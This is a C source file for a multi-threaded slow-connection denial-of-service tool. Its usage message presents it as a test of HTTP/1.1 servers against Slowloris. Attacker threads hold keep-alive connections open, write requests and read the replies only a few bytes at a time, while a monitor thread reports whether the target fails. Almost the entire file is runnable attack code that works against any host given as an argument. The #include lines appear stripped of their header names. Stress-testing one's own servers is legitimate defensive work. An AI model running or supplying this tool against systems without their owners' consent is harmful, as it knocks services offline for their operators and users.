/* Copyright 2019, Boaz Segev License: ISC License limitations: May only be used for security testing and with permission of target device. */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif /* I can't seem to remember which onse I actually use... */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ASSERT_COND(cond, ...) \ do { \ if (!(cond)) { \ fprintf(stderr, __VA_ARGS__); \ perror("\n\terrno"); \ exit(-1); \ } \ } while (0) /* ***************************************************************************** Global State and Settings ***************************************************************************** */ #define RESULT_FAILED 2 #define RESULT_UNKNOWN 1 #define RESULT_PASSED 0 #define TEST_TIME 20 /* test time in seconds 0 == inifinity */ #define USE_PIPELINING 1 #define PRINT_PAGE_OF_DATA 1 #define MTU_LIMIT (524) static size_t ATTACKERS = 24; static volatile uint8_t flag = 1; static const char *address; static const char *port; static size_t total_requests; static size_t total_reads; static size_t total_eof; static size_t total_disconnections; static size_t total_attempts; static size_t total_failures; static size_t total_success; static size_t max_wait; static const char HTTP_REQUEST_HEAD[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\nHost: "; static char MSG_OUTPUT[1024]; /* pipelined requests in MTU */ static size_t MSG_LEN; static size_t REQ_PER_MSG; /* copies an HTTP request to the internal buffer */ static void prep_msg(void) { ASSERT_COND(strlen(address) < 512, "host name too long"); if (USE_PIPELINING) { MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4; REQ_PER_MSG = 1; memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD)); memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address)); MSG_OUTPUT[MSG_LEN - 4] = '\r'; MSG_OUTPUT[MSG_LEN - 3] = '\n'; MSG_OUTPUT[MSG_LEN - 2] = '\r'; MSG_OUTPUT[MSG_LEN - 1] = '\n'; } else { memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD)); memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address)); MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4; REQ_PER_MSG = MTU_LIMIT / MSG_LEN; MSG_OUTPUT[MSG_LEN - 4] = '\r'; MSG_OUTPUT[MSG_LEN - 3] = '\n'; MSG_OUTPUT[MSG_LEN - 2] = '\r'; MSG_OUTPUT[MSG_LEN - 1] = '\n'; if (!REQ_PER_MSG) REQ_PER_MSG = 1; for (size_t i = 1; i < REQ_PER_MSG; ++i) { memcpy(MSG_OUTPUT + (i * MSG_LEN), MSG_OUTPUT, MSG_LEN); } MSG_LEN *= REQ_PER_MSG; } } /* handles the SIGUSR1, SIGINT and SIGTERM signals. */ static void sig_int_handler(int sig) { signal(SIGINT, SIG_DFL); switch (sig) { case SIGINT: /* fallthrough */ case SIGTERM: /* fallthrough */ flag = 0; break; default: break; } } /* ***************************************************************************** Tester functions ***************************************************************************** */ /* error reporting for server test */ typedef enum { SERVER_OK, OPENFILE_LIMIT, CONNECTION_FAILED, REQUEST_FAILED, RESPONSE_TIMEOUT, } test_err_en; /** Opens a connection and sends a single HTTP request. */ static test_err_en test_server(size_t timeout); /* a single attack connection */ static void attack_server(void); /* a single attacker thread */ static void *attack_server_task(void *ignr_); /* a single tester thread */ static void *test_server_task(void *ignr_); /* ***************************************************************************** Main attack function ***************************************************************************** */ int main(int argc, char const *argv[]) { int result = 0; ASSERT_COND(argc == 3 || argc == 4, "\nTo test HTTP/1.1 server against Slowloris, " "use: %s addr port [attackers]\ni.e.:\n\t\t%s example.com 80" "\n\t\t%s localhost 3000 24", argv[0], argv[0], argv[0]); /* initialize stuff */ signal(SIGPIPE, SIG_IGN); signal(SIGINT, sig_int_handler); signal(SIGTERM, sig_int_handler); if (argc == 4 && atol(argv[3]) > 0) ATTACKERS = atol(argv[3]); address = argv[1]; port = argv[2]; prep_msg(); switch (test_server(5)) { case SERVER_OK: fprintf(stderr, "* PASSED sanity test.\n"); break; case OPENFILE_LIMIT: ASSERT_COND(0, "FAILED to connect to %s:%s - no open files available?", address, port); break; case CONNECTION_FAILED: ASSERT_COND(0, "FAILED to connect to %s:%s", address, port); break; case REQUEST_FAILED: ASSERT_COND(0, "FAILED to send request to %s:%s", address, port); break; case RESPONSE_TIMEOUT: ASSERT_COND(0, "FAILED, response timed out for %s:%s", address, port); break; } fprintf(stderr, "* Starting %zu attack loops, with %zu bytes per request.\n", ATTACKERS, MSG_LEN / REQ_PER_MSG); size_t thread_count = 0; pthread_t *threads = calloc(sizeof(*threads), ATTACKERS + 1); ASSERT_COND(threads, "couldn't allocate memoryt for thread data store"); time_t start = 0; time(&start); for (size_t i = 0; i < ATTACKERS; ++i) { if (pthread_create(threads + thread_count, NULL, attack_server_task, NULL) == 0) ++thread_count; } if (pthread_create(threads + thread_count, NULL, test_server_task, NULL) == 0) ++thread_count; if (!thread_count) { attack_server(); test_server_task(NULL); } else if (TEST_TIME) { for (int i = 0; i < TEST_TIME && flag; ++i) { const struct timespec tm = {.tv_sec = 1}; nanosleep(&tm, NULL); } flag = 0; fprintf(stderr, "* Stopping test...\n"); } while (thread_count) { --thread_count; pthread_join(threads[thread_count], NULL); } time_t end = 0; time(&end); fprintf(stderr, "Stats:\n" "\tTest length: %zu seconds\n" "\tConcurrent attackers: %zu\n" "\tRequests sent: %zu\n" "\tBytes sent: %zu\n" "\tBytes received: %zu\n" "\tSucceful requests: %zu / %zu\n" "\tDisconnections: %zu\n" "\tEOF on attempted read: %zu\n" "\tSlowest test cycle: %zu\n", end - start, ATTACKERS, total_requests, (total_requests * (MSG_LEN / REQ_PER_MSG)), total_reads, total_success, total_attempts, total_disconnections, total_eof, max_wait); if (max_wait > 5 || total_attempts != total_success) { result = RESULT_FAILED; fprintf(stderr, "FAILED! the server experienced DoS at least once or " "took more than 10 seconds to respond.\n"); } else if ((max_wait > 1 || ((total_disconnections / 2) / (end - start) == 0)) && !total_eof) { result = RESULT_UNKNOWN; fprintf(stderr, "Unknown. Server may have been partially effected.\n"); } else { result = RESULT_PASSED; fprintf(stderr, "PASSED.\n"); } return result; } /* ***************************************************************************** Aomic operation helpers ***************************************************************************** */ /* C11 Atomics are defined? */ #if defined(__ATOMIC_RELAXED) /** An atomic addition operation */ #define atomic_add(p_obj, value) \ __atomic_add_fetch((p_obj), (value), __ATOMIC_SEQ_CST) /** An atomic subtraction operation */ /* Select the correct compiler builtin method. */ #elif __has_builtin(__sync_add_and_fetch) #define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value)) #elif __GNUC__ > 3 /** An atomic addition operation */ #define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value)) #else #error Required builtin "__sync_add_and_fetch" not found. #endif /* ***************************************************************************** IO Helpers ***************************************************************************** */ static int set_non_block(int fd) { /* If they have O_NONBLOCK, use the Posix way to do it */ #if defined(O_NONBLOCK) /* Fixme: O_NONBLOCK is defined but broken on SunOS 4.1.x and AIX 3.2.5. */ int flags; if (-1 == (flags = fcntl(fd, F_GETFL, 0))) flags = 0; // printf("flags initial value was %d\n", flags); return fcntl(fd, F_SETFL, flags | O_NONBLOCK | O_CLOEXEC); #elif defined(FIONBIO) /* Otherwise, use the old way of doing it */ static int flags = 1; return ioctl(fd, FIONBIO, &flags); #else #error No functions / argumnet macros for non-blocking sockets. #endif } /** Opens a TCP/IP connection using a blocking IO socket */ static int __attribute__((unused)) connect2tcp(const char *a, const char *p) { /* TCP/IP socket */ struct addrinfo hints = {0}; struct addrinfo *addrinfo; // will point to the results memset(&hints, 0, sizeof hints); // make sure the struct is empty hints.ai_family = AF_UNSPEC; // don't care IPv4 or IPv6 hints.ai_socktype = SOCK_STREAM; // TCP stream sockets hints.ai_flags = AI_PASSIVE; // fill in my IP for me if (getaddrinfo(a, p, &hints, &addrinfo)) { // perror("addr err"); return -1; } // get the file descriptor int fd = socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol); if (fd == -1 || set_non_block(fd) < 0) { freeaddrinfo(addrinfo); return -1; } int one = 1; setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)); errno = 0; for (struct addrinfo *i = addrinfo; i; i = i->ai_next) { if (connect(fd, i->ai_addr, i->ai_addrlen) == 0 || errno == EINPROGRESS) goto socket_okay; perror("Connect failed..."); } freeaddrinfo(addrinfo); close(fd); return -1; socket_okay: freeaddrinfo(addrinfo); return fd; } /* ***************************************************************************** Polling Helpers ***************************************************************************** */ /** Waits for socket to become available for either reading or writing */ static inline int wait__internal(int fd, uint16_t events) { errno = 0; int i = 0; if (fd == -1) goto badfd; struct pollfd ls = {.fd = fd, .events = events}; i = poll(&ls, 1, 1000); if (i > 0) { if ((ls.revents & POLLHUP) || (ls.revents & POLLERR) || (ls.revents & POLLNVAL)) goto badfd; return 0; } switch (errno) { case EFAULT: /* overflow */ case EINVAL: /* overflow */ case ENOMEM: /* overflow */ return -1; } errno = EWOULDBLOCK; return -1; badfd: errno = EBADF; return -1; } /** Waits for socket to become available for either reading or writing */ static __attribute__((unused)) int wait4fd(int fd) { return wait__internal(fd, POLLIN | POLLOUT); } /** Waits for socket to become available for reading */ static __attribute__((unused)) int wait4read(int fd) { return wait__internal(fd, POLLIN); } /** Waits for socket to become available for reading */ static __attribute__((unused)) int wait4write(int fd) { return wait__internal(fd, POLLOUT); } /* ***************************************************************************** Test ***************************************************************************** */ static test_err_en test_server(size_t timeout) { int fd = connect2tcp(address, port); if (fd == -1) { if (errno == EMFILE || errno == ENFILE || errno == ENOMEM) return OPENFILE_LIMIT; return CONNECTION_FAILED; } time_t start = 0; time(&start); size_t blocks = 0; while (wait4write(fd) < 0) { if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) { /* timeout / error / stop */ close(fd); if (!flag) return SERVER_OK; return CONNECTION_FAILED; } } // fprintf(stderr, "* TEST: connected to %s:%s\n", address, port); if (write(fd, MSG_OUTPUT, MSG_LEN / REQ_PER_MSG) != (ssize_t)(MSG_LEN / REQ_PER_MSG)) { /* a new connection and the buffer is full? no... */ close(fd); // fprintf(stderr, "* TEST: couldn't send rerquest to %s:%s\n", address, // port); return REQUEST_FAILED; } blocks = 0; while (wait4read(fd) < 0) { if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) { /* timeout / error */ close(fd); if (!flag) return SERVER_OK; return RESPONSE_TIMEOUT; } } char buffer[4096]; if (read(fd, buffer, 1024) < 12) { close(fd); return RESPONSE_TIMEOUT; } close(fd); // fprintf(stderr, "* TEST: received response from %s:%s\n", address, port); time_t end = 0; time(&end); if (max_wait < (size_t)(end - start)) { /* non-atomic... but who cares. */ max_wait = end - start; } return SERVER_OK; } /* ***************************************************************************** Attack ***************************************************************************** */ static void attack_server(void) { int fd = connect2tcp(address, port); size_t offset = 0; uint8_t read_once = 0; while (flag) { if (wait4write(fd) == 0) { ssize_t w = write(fd, MSG_OUTPUT + offset, MSG_LEN - offset); if (w < 0) { /* error... waiting? */ if (errno != EWOULDBLOCK && errno != EAGAIN && errno != EINTR) { break; } } else { offset += w; if (offset >= MSG_LEN) { offset = 0; atomic_add(&total_requests, REQ_PER_MSG); } } } else if (errno != EWOULDBLOCK && errno != EAGAIN) { break; } if (wait4read(fd) == 0) { size_t buf; ssize_t r = read(fd, &buf, sizeof(buf)); if (r < 0) break; /* read a few bytes at a time */ if (!r) { atomic_add(&total_eof, 1); } else { atomic_add(&total_reads, r); read_once = 1; } } else if (errno == EWOULDBLOCK || errno == EAGAIN) { if (read_once) { atomic_add(&total_eof, 1); break; } } else { if (read_once) break; } } if (flag) atomic_add(&total_disconnections, 1); close(fd); return; } /* ***************************************************************************** Multi-Threaded Testing / Attacking ***************************************************************************** */ /* a single attacker thread */ static void *attack_server_task(void *ignr_) { while (flag) attack_server(); return NULL; (void)ignr_; } /* a single tester thread */ static void *test_server_task(void *ignr_) { while (flag) { const struct timespec tm = {.tv_sec = 1}; nanosleep(&tm, NULL); if (!flag) break; atomic_add(&total_attempts, 1); switch (test_server(15)) { case SERVER_OK: if (flag) fprintf(stderr, "* Server online.\n"); atomic_add(&total_success, 1); break; case OPENFILE_LIMIT: fprintf(stderr, "* No available sockets.\n"); atomic_add(&total_success, 1); break; case CONNECTION_FAILED: /* overflow*/ case REQUEST_FAILED: /* overflow*/ case RESPONSE_TIMEOUT: atomic_add(&total_failures, 1); fprintf(stderr, "* Failure detected.\n"); break; } } return NULL; (void)ignr_; }